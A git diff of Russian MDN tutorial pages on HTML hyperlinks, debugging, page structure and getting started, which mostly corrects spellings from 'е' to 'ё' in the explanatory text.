                • diff --git a/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html b/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html index 6c1090bd2e..67f1ba48b7 100644 --- a/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html +++ b/files/ru/learn/html/introduction_to_html/creating_hyperlinks/index.html @@ -74,7 +74,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс

                Я создал ссылку на домашнюю страницу Mozilla.

                -

                Примечание: Описание из атрибута title отображается только при наведении курсора, значит люди, полагающиеся на клавиатурные элементы управления для навигации по веб-страницам, будут испытывать трудности с доступом к информации, которую содержит title. Если информация заголовка действительно важна для удобства использования страницы, то вы должны представить ее таким образом, который будет доступен для всех пользователей, например, поместив её в обычный текст.

                +

                Примечание: Описание из атрибута title отображается только при наведении курсора, значит люди, полагающиеся на клавиатурные элементы управления для навигации по веб-страницам, будут испытывать трудности с доступом к информации, которую содержит title. Если информация заголовка действительно важна для удобства использования страницы, то вы должны представить её таким образом, который будет доступен для всех пользователей, например, поместив её в обычный текст.

                Активное изучение: создаём собственную ссылку

                @@ -109,7 +109,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс

                A simple directory structure. The parent directory is called creating-hyperlinks and contains two files called index.html and contacts.html, and two directories called projects and pdfs, which contain an index.html and a project-brief.pdf file, respectively

                -

                Корень структуры — каталог  creating-hyperlinks. При работе на локальном веб-сайте у вас будет один каталог, в который входит весь сайт. В корне у нас есть два файла — index.html и contacts.html. На настоящем веб-сайте index.html был бы нашей домашней, или лендинг-страницей (веб-страницей, которая служит точкой входа для веб-сайта или определенного раздела веб-сайта).

                +

                Корень структуры — каталог  creating-hyperlinks. При работе на локальном веб-сайте у вас будет один каталог, в который входит весь сайт. В корне у нас есть два файла — index.html и contacts.html. На настоящем веб-сайте index.html был бы нашей домашней, или лендинг-страницей (веб-страницей, которая служит точкой входа для веб-сайта или определённого раздела веб-сайта).

                В корне есть ещё два каталога —  pdfs и projects. У каждого из них есть один файл внутри — project-brief.pdf и index.html, соответственно. Обратите внимание на то, что вы можете довольно успешно иметь два index.html файла в одном проекте, пока они находятся в разных местах файловой системы.  Многие веб-сайты так делают. Второй index.html, возможно, будет главной лендинг-страницей для связанной с проектом информации.

                @@ -145,7 +145,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс

                Фрагменты документа

                -

                Можно ссылаться на определенную часть документа HTML (известную как фрагмент документа), а не только на верхнюю часть документа. Для этого вам сначала нужно назначить атрибут {{htmlattrxref("id")}} элементу, с которым вы хотите связаться. Обычно имеет смысл ссылаться на определённый заголовок, поэтому это выглядит примерно так:

                +

                Можно ссылаться на определённую часть документа HTML (известную как фрагмент документа), а не только на верхнюю часть документа. Для этого вам сначала нужно назначить атрибут {{htmlattrxref("id")}} элементу, с которым вы хотите связаться. Обычно имеет смысл ссылаться на определённый заголовок, поэтому это выглядит примерно так:

                <h2 id="Почтовый_адрес">Почтовый адрес</h2>
                @@ -164,7 +164,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс

                Абсолютные и относительные URL-адреса

                -

                Два понятия, с которыми вы столкнетесь в Интернете, — это абсолютный URL и относительный URL:

                +

                Два понятия, с которыми вы столкнётесь в Интернете, — это абсолютный URL и относительный URL:

                Абсолютный URL
                @@ -189,14 +189,14 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс
                -

                Используйте четкие формулировки описания ссылок

                +

                Используйте чёткие формулировки описания ссылок

                На вашей странице легко добавить ссылки. Но этого не совсем достаточно. Мы должны сделать наши ссылки доступными для всех читателей, независимо от их возможностей и инструментов просмотра страницы, которые они предпочитают. Например:

                • Пользователям программ читающих с экрана нравится переходить по ссылкам на странице, читая адрес ссылки в тексте.
                  • -
                • Поисковые системы используют текст ссылки для индексирования файлов, поэтому рекомендуется включать ключевые слова в текст ссылки, чтобы эффективно описывать, куда ведет ссылка.
                  • -
                • Пользователи часто бегло просматривают страницу, не читая каждое слово, и их глаза будут привлечены к тексту, который выделяется, например, ссылки. Им будет полезно описание того, куда ведет ссылка.
                  • +
                • Поисковые системы используют текст ссылки для индексирования файлов, поэтому рекомендуется включать ключевые слова в текст ссылки, чтобы эффективно описывать, куда ведёт ссылка.
                  • +
                • Пользователи часто бегло просматривают страницу, не читая каждое слово, и их глаза будут привлечены к тексту, который выделяется, например, ссылки. Им будет полезно описание того, куда ведёт ссылка.

                Взгляните на этот пример:

                @@ -219,7 +219,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс
                • Не пишите URL-адрес как часть текста ссылки. URL-адреса выглядят сложными, а звучат ещё сложнее, когда программы чтения с экрана читают их по буквам.
                  • -
                • Не пишите «ссылка» или «ссылки на» в тексте ссылки — это лишнее. Программы чтения с экрана сами проговаривают, что есть ссылка. На экране пользователи также видят, что есть ссылка, потому что ссылки, как правило, оформлены в другом цвете и подчеркнуты (подчёркивая ссылки, вы соблюдаете правила хорошего тона, поскольку пользователи привыкли к этому).
                  • +
                • Не пишите «ссылка» или «ссылки на» в тексте ссылки — это лишнее. Программы чтения с экрана сами проговаривают, что есть ссылка. На экране пользователи также видят, что есть ссылка, потому что ссылки, как правило, оформлены в другом цвете и подчёркнуты (подчёркивая ссылки, вы соблюдаете правила хорошего тона, поскольку пользователи привыкли к этому).
                • Следите за тем, чтобы текст ссылки был как можно короче. Длинный текст ссылки особенно раздражает пользователей программ чтения с экрана, которым придётся услышать всё, что написано.
                • Минимизируйте случаи, когда несколько копий одного и того же текста ссылок указывает на разные страницы. Это может вызвать проблемы для пользователей программ чтения с экрана, которые часто вызывают список ссылок — несколько ссылок, помеченных как «нажмите здесь», «нажмите здесь», «нажмите здесь», будут путать.
                @@ -235,7 +235,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс

                Создавая ссылки на не HTML ресурсы — добавляйте описание

                -

                Когда вы создаёте ссылку на файл, нажав на который можно загрузить документ PDF или Word или открыть просмотр видео, прослушивание аудио файла или перейти на страницу с другим, неожиданным для пользователя результатом (всплывающее окно или загрузка Flash-фильма), добавляйте четкую формулировку, чтобы уменьшить путаницу. Отсутствие описания может раздражать пользователя. Приведем пример:

                +

                Когда вы создаёте ссылку на файл, нажав на который можно загрузить документ PDF или Word или открыть просмотр видео, прослушивание аудио файла или перейти на страницу с другим, неожиданным для пользователя результатом (всплывающее окно или загрузка Flash-фильма), добавляйте чёткую формулировку, чтобы уменьшить путаницу. Отсутствие описания может раздражать пользователя. Приведём пример:

                • Если вы используете соединение с низкой пропускной способностью и вдруг нажмёте на ссылку без описания, начнётся загрузка большого файла.
                  • @@ -245,7 +245,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс

                  Посмотрите на примеры, чтобы увидеть, как добавить описание:

                  <p><a href="http://www.example.com/large-report.pdf">
-  Скачать отчет о продажах (PDF, 10MB)
+  Скачать отчёт о продажах (PDF, 10MB)
 </a></p>
 
 <p><a href="http://www.example.com/video-stream/">
@@ -256,9 +256,9 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс
   Играть в гонки (необходим Flash)
 </a></p>
                  -

                  Используйте атрибут download, когда создаете ссылку

                  +

                  Используйте атрибут download, когда создаёте ссылку

                  -

                  Когда создаёте ссылку на файл, который должен быть загружен, а не открыт в браузере, можете использовать атрибут download, чтобы создать имя файла по умолчанию для сохранения . Приведем пример ссылки для загрузки браузера Firefox 39:

                  +

                  Когда создаёте ссылку на файл, который должен быть загружен, а не открыт в браузере, можете использовать атрибут download, чтобы создать имя файла по умолчанию для сохранения . Приведём пример ссылки для загрузки браузера Firefox 39:

                  <a href="https://download.mozilla.org/?product=firefox-39.0-SSL&os=win&lang=en-US"
    download="firefox-39-installer.exe">
@@ -267,7 +267,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс
 
 
                  Активное изучение: создание меню навигации
                  
 
-
                  Для этого упражнения мы хотим, чтобы вы создали ссылки на страницы в меню навигации в многостраничном сайте. Это один из распространенных способов создания сайта: на каждой странице используется одна и та же структура страниц, включая одно и то же меню навигации, поэтому при нажатии ссылок создается впечатление, что вы остаетесь в одном месте: меню остается на месте, а контент меняется.
                  
+
                  Для этого упражнения мы хотим, чтобы вы создали ссылки на страницы в меню навигации в многостраничном сайте. Это один из распространённых способов создания сайта: на каждой странице используется одна и та же структура страниц, включая одно и то же меню навигации, поэтому при нажатии ссылок создаётся впечатление, что вы остаётесь в одном месте: меню остаётся на месте, а контент меняется.
                  
 
 
                  Вам нужно скачать или создать следующие страницы в одном каталоге (Смотрите navigation-menu-start):
                  
 
@@ -281,10 +281,10 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс
 
                  Что делать:
                  
 
 
                    
- 
                  1. Добавьте неупорядоченный список в указанном месте в любом html-файле. Список должен состоять из имен страниц (index, projects и т.д.). Меню навигации обычно представляет собой список ссылок, поэтому создание неупорядоченного списка семантически верно.
                    2. 
+ 
                  2. Добавьте неупорядоченный список в указанном месте в любом html-файле. Список должен состоять из имён страниц (index, projects и т.д.). Меню навигации обычно представляет собой список ссылок, поэтому создание неупорядоченного списка семантически верно.
                    3. 
  
                  3. Создайте ссылки каждому элементу списка, ведущие на эти страницы.
                    4. 
  
                  4. Скопируйте созданное меню в каждую страницу.
                    5. 
- 
                  5. На каждой странице удалите только ссылку, которая указывает на эту же страницу (на странице index.html удалить ссылку index и так далее). Дело в том, что, находясь на странице index.html, нам незачем видеть ссылку в меню на эту же страницу. С одной стороны, нам незачем ещё раз переходить на эту же страницу, с другой, такой прием помогает визуально определить, смотря на меню, в какой части сайта мы находимся.
                    6. 
+ 
                  6. На каждой странице удалите только ссылку, которая указывает на эту же страницу (на странице index.html удалить ссылку index и так далее). Дело в том, что, находясь на странице index.html, нам незачем видеть ссылку в меню на эту же страницу. С одной стороны, нам незачем ещё раз переходить на эту же страницу, с другой, такой приём помогает визуально определить, смотря на меню, в какой части сайта мы находимся.
                    7. 
 
                  
 
 
                  Когда закончите задание, посмотрите, как это должно выглядеть:
                  
@@ -292,7 +292,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс
 
                  An example of a simple HTML navigation menu, with home, pictures, projects, and social menu items
                  
 
 
                  
-
                  Если не удается сделать, или вы не уверены, что сделали верно, посмотрите наш вариант navigation-menu-marked-up.
                  
+
                  Если не удаётся сделать, или вы не уверены, что сделали верно, посмотрите наш вариант navigation-menu-marked-up.
                  
 
                  
 
 
                  Ссылки электронной почты
                  
@@ -345,7 +345,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Создание_гиперс
  
                • Что такое заголовок? Метаданные в HTML
                  • 
  
                • Основы редактирования текста в HTML
                  • 
  
                • Создание гиперссылок
                  • 
- 
                • Углубленное форматирование текста
                  • 
+ 
                • Углублённое форматирование текста
                  • 
  
                • Структура документа и веб-сайта
                  • 
  
                • Отладка HTML
                  • 
  
                • Разметка письма
                  • 
diff --git a/files/ru/learn/html/introduction_to_html/debugging_html/index.html b/files/ru/learn/html/introduction_to_html/debugging_html/index.html
index e80ec52b6d..0a64f58205 100644
--- a/files/ru/learn/html/introduction_to_html/debugging_html/index.html
+++ b/files/ru/learn/html/introduction_to_html/debugging_html/index.html
@@ -31,7 +31,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML
 
 
                  Отладка — это не страшно
                  
 
-
                  Во время написания какого-нибудь кода, обычно все идет хорошо, пока не появляется тот момент, когда вы совершаете ошибку. Итак, ваш код не работает, или работает не так, как вы задумывали. Если вы попытаетесь скомпилировать неработающую программу на языке Rust, компилятор укажет на ошибку:
                  
+
                  Во время написания какого-нибудь кода, обычно все идёт хорошо, пока не появляется тот момент, когда вы совершаете ошибку. Итак, ваш код не работает, или работает не так, как вы задумывали. Если вы попытаетесь скомпилировать неработающую программу на языке Rust, компилятор укажет на ошибку:
                  
 
 
                  A console window showing the result of trying to compile a rust program with a missing quote around a string in a print statement. The error message reported is error: unterminated double quote string.В данном случае, сообщение об ошибке понять относительно просто — "unterminated double quote string". Если вы внимательно посмотрите на println!(Hello, world!"); , то заметите, что здесь отсутствует двойная кавычка. Разумеется, сообщения об ошибках могут становиться куда более сложными для понимания по мере роста вашего кода, и даже самые простые случаи могут показаться пугающими для тех, кто ничего не знает о Rust.
                  
 
@@ -43,7 +43,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML
 
 
                  Толерантный код
                  
 
-
                  Так что же означает толерантный? В общих чертах, когда вы напортачили в коде, есть два типа ошибок, с которыми вы столкнетесь:
                  
+
                  Так что же означает толерантный? В общих чертах, когда вы напортачили в коде, есть два типа ошибок, с которыми вы столкнётесь:
                  
 
 
                    
  
                  • Синтаксические ошибки (Syntax errors): Это ошибки в правильности написания, как это было выше, в примере с Rust. Такие обычно легко исправлять, в той мере, в какой вы знакомы с синтаксисом языка и знаете, что означают сообщения об ошибках.
                    • 
@@ -94,7 +94,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML
  
                  • Используя DOM инспектор, давайте рассмотрим детали нашего кода, чтобы увидеть, как браузер пытается исправить наши ошибки в HTML (мы обозреваем в Firefox; другой современный браузер должен выдать те же результаты):
   
                      
    
                    • Параграфы и элементы списка получены с закрывающими тегами.
                      • 
-   
                    • Было неочевидно, где элемент <strong> должен был закрыться, так что браузер обернул каждый отдельный блок текста своими собственными тегами strong, причем до самого низа документа!
                      • 
+   
                    • Было неочевидно, где элемент <strong> должен был закрыться, так что браузер обернул каждый отдельный блок текста своими собственными тегами strong, причём до самого низа документа!
                      • 
    
                    • Некорректная вложенность была исправлена браузером следующим образом:
     
                      <strong>strong
   <em>strong emphasised?</em>
@@ -115,7 +115,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML
 
 
                      Из примера выше ясно, что стоит проверять валидность HTML. В простом примере сверху можно просто просмотреть весь код и найти ошибки, но как быть с огромными, сложными страницами?
                      
 
-
                      Лучше всего проверить страницу в  сервисе валидации разметки. Его создал и поддерживает W3C — организация, которая занимается спецификациями HTML, CSS и других веб-технологий. Сервис проверит ваш HTML и составит отчет по ошибкам в нем.
                      
+
                      Лучше всего проверить страницу в  сервисе валидации разметки. Его создал и поддерживает W3C — организация, которая занимается спецификациями HTML, CSS и других веб-технологий. Сервис проверит ваш HTML и составит отчёт по ошибкам в нем.
                      
 
 
                      The HTML validator homepage
                      
 
@@ -138,10 +138,10 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML
 
 
                      Работа с сообщениями об ошибках
                      
 
-
                      Обычно сразу ясно, что значат сообщения, но иногда приходится постараться, чтобы понять, в чем дело. Сейчас мы пройдемся по всем ошибкам и разберем, что они значат. Обратите внимание, что в сообщениях указаны строка и столбец кода, чтобы ошибки было проще искать.
                      
+
                      Обычно сразу ясно, что значат сообщения, но иногда приходится постараться, чтобы понять, в чем дело. Сейчас мы пройдёмся по всем ошибкам и разберём, что они значат. Обратите внимание, что в сообщениях указаны строка и столбец кода, чтобы ошибки было проще искать.
                      
 
 
                        
- 
                      • "End tag li implied, but there were open elements" (2 instances): Нет явного закрывающего тега, хотя браузер догадывается, где он должен быть. Сообщение указывает на строку после той, на которой ожидался закрывающий тег, но вы найдете нужное место.
                        • 
+ 
                      • "End tag li implied, but there were open elements" (2 instances): Нет явного закрывающего тега, хотя браузер догадывается, где он должен быть. Сообщение указывает на строку после той, на которой ожидался закрывающий тег, но вы найдёте нужное место.
                        • 
  
                      • "Unclosed element strong":  Это очень простая ошибка — элемент {{htmlelement("strong")}} не закрыт, и сообщение указывает прямо на открывающий тег.
                        • 
  
                      • "End tag strong violates nesting rules": Элемент неправильно вложен — на этом уровне нет парного открывающего тега.
                        • 
  
                      • "End of file reached when inside an attribute value. Ignoring tag": Загадочное сообщение. Дело в том, что где-то (скорее всего, в конце документа) неправильно прописано свойство элемента, и конец файла оказался внутри этого свойства. В браузере не видно ссылки — скорее всего, проблема рядом с ней.
                        • 
@@ -155,7 +155,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML
  
                      • "Unclosed element ul": Странно, ведь элемент {{htmlelement("ul")}} закрыт. Настоящая проблема всё там же — элемент {{htmlelement("a")}} не закрыт из-за недостающей кавычки в свойстве.
                        • 
 
                      
 
-
                      Если некоторые ошибки кажутся вам странными, начните исправление с остальных и проверьте документ еще раз. Иногда одна ошибка ломает большую часть документа.
                      
+
                      Если некоторые ошибки кажутся вам странными, начните исправление с остальных и проверьте документ ещё раз. Иногда одна ошибка ломает большую часть документа.
                      
 
 
                      Когда вы увидите эту надпись, в вашем документе больше нет ошибок:
                      
 
@@ -174,7 +174,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Debugging_HTML
  
                    • Что такое заголовок? Метаданные в HTML
                      • 
  
                    • Основы редактирования текста в HTML
                      • 
  
                    • Создание гиперссылок
                      • 
- 
                    • Углубленное форматирование текста
                      • 
+ 
                    • Углублённое форматирование текста
                      • 
  
                    • Структура документа и веб-сайта
                      • 
  
                    • Отладка HTML
                      • 
  
                    • Разметка письма
                      • 
diff --git a/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html
index 7128fd4462..31119efc4a 100644
--- a/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html
+++ b/files/ru/learn/html/introduction_to_html/document_and_website_structure/index.html
@@ -39,11 +39,11 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум
  
                      Заголовок (колонтитул)
                      
  
                      Обычно это большая полоса вверху страницы, с крупным заголовком и / или логотипом. Здесь указывается общая информация о веб-сайте, не меняющаяся от страницы к странице.
                      
  
                      Навигационное меню
                      
- 
                      Ссылки на основные разделы сайта; обычно в виде кнопок, ссылок или вкладок. Также как и заголовок, навигация остается неизменной на всех страницах сайта — наличие непоследовательной навигации на Вашем сайте запутает и разочарует пользователей. Многие веб-дизайнеры считают панель навигации частью заголовка, а не отдельным компонентом, но это не является обязательным требованием; на самом деле, некоторые также утверждают, что их разделение на отдельные компоненты улучшает доступность, поскольку раздельная структура будет понятнее для людей, пользующихся считывателями экрана.
                      
+ 
                      Ссылки на основные разделы сайта; обычно в виде кнопок, ссылок или вкладок. Также как и заголовок, навигация остаётся неизменной на всех страницах сайта — наличие непоследовательной навигации на Вашем сайте запутает и разочарует пользователей. Многие веб-дизайнеры считают панель навигации частью заголовка, а не отдельным компонентом, но это не является обязательным требованием; на самом деле, некоторые также утверждают, что их разделение на отдельные компоненты улучшает доступность, поскольку раздельная структура будет понятнее для людей, пользующихся считывателями экрана.
                      
  
                      Основное содержимое
                      
- 
                      Большая область в центре страницы, содержащая, в основном, уникальный контент данной веб-страницы, например видео, которое вы хотите посмотреть, или рассказ, который вы читаете, или карту, которую вы хотите просмотреть, или заголовки новостей и т. д. Это одна из частей сайта, которая определенно будет меняться от страницы к странице!
                      
+ 
                      Большая область в центре страницы, содержащая, в основном, уникальный контент данной веб-страницы, например видео, которое вы хотите посмотреть, или рассказ, который вы читаете, или карту, которую вы хотите просмотреть, или заголовки новостей и т. д. Это одна из частей сайта, которая определённо будет меняться от страницы к странице!
                      
  
                      Боковая панель
                      
- 
                      Как правило, содержит некоторую второстепенную информацию, ссылки, цитаты, рекламу и т.д. Обычно она относится к содержимому в основном контенте (например, на странице со статьей, боковая панель может содержать биографию автора или ссылки на связанные статьи), но в некоторых случаях здесь размещают и другие элементы, например, вторичную навигационную систему.
                      
+ 
                      Как правило, содержит некоторую второстепенную информацию, ссылки, цитаты, рекламу и т.д. Обычно она относится к содержимому в основном контенте (например, на странице со статьёй, боковая панель может содержать биографию автора или ссылки на связанные статьи), но в некоторых случаях здесь размещают и другие элементы, например, вторичную навигационную систему.
                      
  
                      Нижний колонтитул (футер)
                      
  
                      Полоса в нижней части страницы, которая обычно содержит уведомления об авторских правах или контактную информацию. Это место для размещения общей информации (например, заголовка), но обычно эта информация не является критичной или вторична для самого веб-сайта. Нижний колонтитул также иногда используется для {{Glossary("SEO")}} целей, предоставляя ссылки для быстрого доступа к популярному контенту.
                @@ -56,7 +56,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум

                Пример, показанный сверху, не красив и примитивен, но идеально подходит для иллюстрирования типичного макета веб-сайта. У некоторых веб-сайтов больше колонок, некоторые — более сложные, но идею Вы поняли. С правильным CSS Вы могли бы использовать практически любые элементы для обёртывания различных разделов и стилизовать их так, как Вам хочется, но, как обсуждалось ранее, нам нужно уважать семантику и использовать правильный элемент для правильной работы. 

                -

                Это потому, что визуальные эффекты — это ещё не самое главное. Мы используем цвет и размер шрифта для привлечения внимания посетителей к наиболее полезным частям содержимого, такого как навигационное меню или связанные ссылки, но что насчет людей со слабым зрением, к примеру, для которых концепция "розового" и "большого шрифта" не будет полезной?

                +

                Это потому, что визуальные эффекты — это ещё не самое главное. Мы используем цвет и размер шрифта для привлечения внимания посетителей к наиболее полезным частям содержимого, такого как навигационное меню или связанные ссылки, но что насчёт людей со слабым зрением, к примеру, для которых концепция "розового" и "большого шрифта" не будет полезной?

                Заметка: Люди с дальтонизмом составляют около 8% мирового населения. Слепые и слабовидящие люди составляют примерно 4-5% населения мира (в 2012 году в мире было 285 миллионов таких людей, а общая численность населения составляла около 7 миллиардов).

                @@ -76,7 +76,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум

                Активное обучение: исследование кода для нашего примера

                -

                Наш пример, представленный выше, содержит следующий код (Вы также можете найти пример в нашем репозитории Github). Мы хотели бы, чтобы Вы взглянули на приведенный выше пример, а затем просмотрели код ниже, чтобы узнать, из каких частей он состоит.

                +

                Наш пример, представленный выше, содержит следующий код (Вы также можете найти пример в нашем репозитории Github). Мы хотели бы, чтобы Вы взглянули на приведённый выше пример, а затем просмотрели код ниже, чтобы узнать, из каких частей он состоит.

                <!DOCTYPE html>
 <html>
@@ -108,7 +108,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум
         <li><a href="#">Контакты</a></li>
       </ul>
 
-       <!-- Форма поиска — это еще один распространенный нелинейный способ навигации по веб-сайту. -->
+       <!-- Форма поиска — это ещё один распространённый нелинейный способ навигации по веб-сайту. -->
 
        <form>
          <input type="search" name="q" placeholder="Search query">
@@ -162,7 +162,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум
   </body>
 </html>
                -

                Потратьте некоторое время, чтобы просмотреть код и понять его — комментарии внутри кода также помогут Вам в этом. Мы не просим Вас делать ничего больше в этом уроке, потому что ключ к пониманию макета документа заключается в написании осмысленной структуры HTML, а затем её развёртывании с помощью CSS. Мы подождем, пока вы не начнете изучать CSS-макет как часть темы CSS.

                +

                Потратьте некоторое время, чтобы просмотреть код и понять его — комментарии внутри кода также помогут Вам в этом. Мы не просим Вас делать ничего больше в этом уроке, потому что ключ к пониманию макета документа заключается в написании осмысленной структуры HTML, а затем её развёртывании с помощью CSS. Мы подождём, пока вы не начнёте изучать CSS-макет как часть темы CSS.

                Подробнее об элементах HTML макета

                @@ -178,7 +178,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум
              • {{HTMLElement('footer')}} представляет собой группу конечного контента для страницы.
              -

              Несемантические обертки

              +

              Несемантические обёртки

              Иногда Вы будете сталкиваться с ситуацией, когда Вы не можете найти идеальный семантический элемент, чтобы сгруппировать некоторые элементы вместе или обернуть некоторый контент. Иногда Вам просто нужно будет сгруппировать несколько элементов вместе, чтобы применить к ним, как к единой сущности, {{glossary("CSS")}} или {{glossary("JavaScript")}}. Для таких случаев в HTML есть элементы {{HTMLElement("div")}} и {{HTMLElement("span")}}. Вам следует использовать их с подходящим значением атрибута {{htmlattrxref('class')}} или {{htmlattrxref('id')}}, чтобы можно было легко получить к ним доступ.

              @@ -216,7 +216,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум

              Два элемента, которые Вы будете периодически использовать или захотите узнать о них: {{htmlelement("br")}} и {{htmlelement("hr")}}:

              -

              <br> создает разрыв строки в абзаце, и это единственный способ изменить жёсткую структуру в ситуации, когда Вам нужна серия фиксированных коротких строк, например, в почтовом адресе или стихотворении. Пример:

              +

              <br> создаёт разрыв строки в абзаце, и это единственный способ изменить жёсткую структуру в ситуации, когда Вам нужна серия фиксированных коротких строк, например, в почтовом адресе или стихотворении. Пример:

              <p>Жила-была девчушка Нелл,<br>
 Любившая писать HTML:<br>
@@ -230,7 +230,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум
  Её семантика ужасна была —
              
  Она и сама прочитать ничего не могла.
              
 
-
              <hr> создает горизонтальный разделитель в документе, это означает тематическое изменение текста (например, изменение темы или сцены). Визуально он просто похож на горизонтальную линию. В качестве примера:
              
+
              <hr> создаёт горизонтальный разделитель в документе, это означает тематическое изменение текста (например, изменение темы или сцены). Визуально он просто похож на горизонтальную линию. В качестве примера:
              
 
 
              <p>Рон был зажат в углу адскими тварями. Он боялся, но твёрдо решил защитить своих друзей, поднял свою волшебную палочку и приготовился к битве, надеясь, что справится со своим несчастьем.</p>
 <hr>
@@ -249,7 +249,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум
 
 
                
  
              1. Имейте в виду, что у вас будет несколько элементов, общих для большинства (если не всех) страниц — например, меню навигации и содержимого нижнего колонтитула. Например, для сайта компании хорошая идея разместить контактные данные в нижнем колонтитуле на каждой странице. Составьте список элементов, общих для всех страниц. the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy
                2. 
- 
              2. Теперь набросайте структуру страниц (можно взять за образец наш простой дизайн, приведенный раннее). Что находится в этих блоках?A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer
                3. 
+ 
              3. Теперь набросайте структуру страниц (можно взять за образец наш простой дизайн, приведённый раннее). Что находится в этих блоках?A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer
                4. 
  
              4. Теперь составьте список остальной (уникальной для каждой страницы) информации, которую вы разместите на сайте.A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info
                5. 
  
              5. Сгруппируйте информацию по темам. Какие части можно разместить на одной странице? Это похоже на метод {{glossary("Card sorting")}}. The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things
                6. 
  
              6. Составьте карту сайта. Обведите каждую страницу рамкой, и продумайте перемещения пользователя между ними. Обычно в центре оказывается главная страница, с которой можно быстро перейти на все остальные. На небольшом сайте большинство страниц помещают в главную навигацию, но не обязательно класть туда все ссылки. Также можете пометить, как выглядят элементы страниц — ссылками, списками, карточками.
                7. 
@@ -284,7 +284,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Структура_докум
  
              7. Что такое заголовок? Метаданные в HTML
                8. 
  
              8. Основы редактирования текста в HTML
                9. 
  
              9. Создание гиперссылок
                10. 
- 
              10. Углубленное форматирование текста
                11. 
+ 
              11. Углублённое форматирование текста
                12. 
  
              12. Структура документа и веб-сайта
                13. 
  
              13. Отладка HTML
                14. 
  
              14. Разметка письма
                15. 
diff --git a/files/ru/learn/html/introduction_to_html/getting_started/index.html b/files/ru/learn/html/introduction_to_html/getting_started/index.html
index 9fe76fed12..cfd2d251bb 100644
--- a/files/ru/learn/html/introduction_to_html/getting_started/index.html
+++ b/files/ru/learn/html/introduction_to_html/getting_started/index.html
@@ -36,7 +36,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Начало_работы
 
 
                Что такое HTML?
                
 
-
                {{glossary("HTML")}} (HyperText Markup Language - язык гипертекстовой разметки) не является языком программирования; это язык разметки, используемый для определения структуры веб-страниц, посещаемых пользователями. Они могут иметь сложную или простую структуру, всё зависит от замысла и желания веб-разработчика. HTML состоит из ряда {{glossary("Element", "элементов")}}, которые вы используете для того, чтобы охватить, обернуть или разметить различные части содержимого, чтобы оно имело определенный вид или срабатывало определенным способом. Встроенные {{glossary("Tag", "тэги")}} могут преобразовать часть содержимого в гиперссылку, по которой можно перейти на другую веб-страницу, выделить курсивом слова и так далее. Например, рассмотрим следующую строку:
                
+
                {{glossary("HTML")}} (HyperText Markup Language - язык гипертекстовой разметки) не является языком программирования; это язык разметки, используемый для определения структуры веб-страниц, посещаемых пользователями. Они могут иметь сложную или простую структуру, всё зависит от замысла и желания веб-разработчика. HTML состоит из ряда {{glossary("Element", "элементов")}}, которые вы используете для того, чтобы охватить, обернуть или разметить различные части содержимого, чтобы оно имело определённый вид или срабатывало определённым способом. Встроенные {{glossary("Tag", "тэги")}} могут преобразовать часть содержимого в гиперссылку, по которой можно перейти на другую веб-страницу, выделить курсивом слова и так далее. Например, рассмотрим следующую строку:
                
 
 
                Мой кот очень сердитый
                
 
@@ -65,7 +65,7 @@ original_slug: Learn/HTML/Введение_в_HTML/Начало_работы
 
 
                Активное изучение: создание вашего первого HTML элемента
                
 
-
                Отредактируйте строку текста ниже в поле Ввод, обернув ее тегами <em> и </em> (вставьте <em> перед строкой, чтобы указать начало элемента, и </em> после нее, чтобы указать конец элемента) — эти действия должны выделить строку текста курсивом! Вы можете видеть изменения в реальном времени в поле Вывод.
                
+
                Отредактируйте строку текста ниже в поле Ввод, обернув её тегами <em> и </em> (вставьте <em> перед строкой, чтобы указать начало элемента, и </em> после неё, чтобы указать конец элемента) — эти действия должны выделить строку текста курсивом! Вы можете видеть изменения в реальном времени в поле Вывод.
                
 
 
                Если Вы ошиблись, то всегда можете начать снова, воспользовавшись кнопкой Сбросить. Если упражнение вызывает у Вас затруднения, то нажмите кнопку Показать решение, чтобы увидеть правильный ответ.
                
 
@@ -220,7 +220,7 @@ textarea.onkeyup = function(){
 
 
                <em>Первый</em><em>второй</em><em>третий</em>
 
-<p>четвертый</p><p>пятый</p><p>шестой</p>
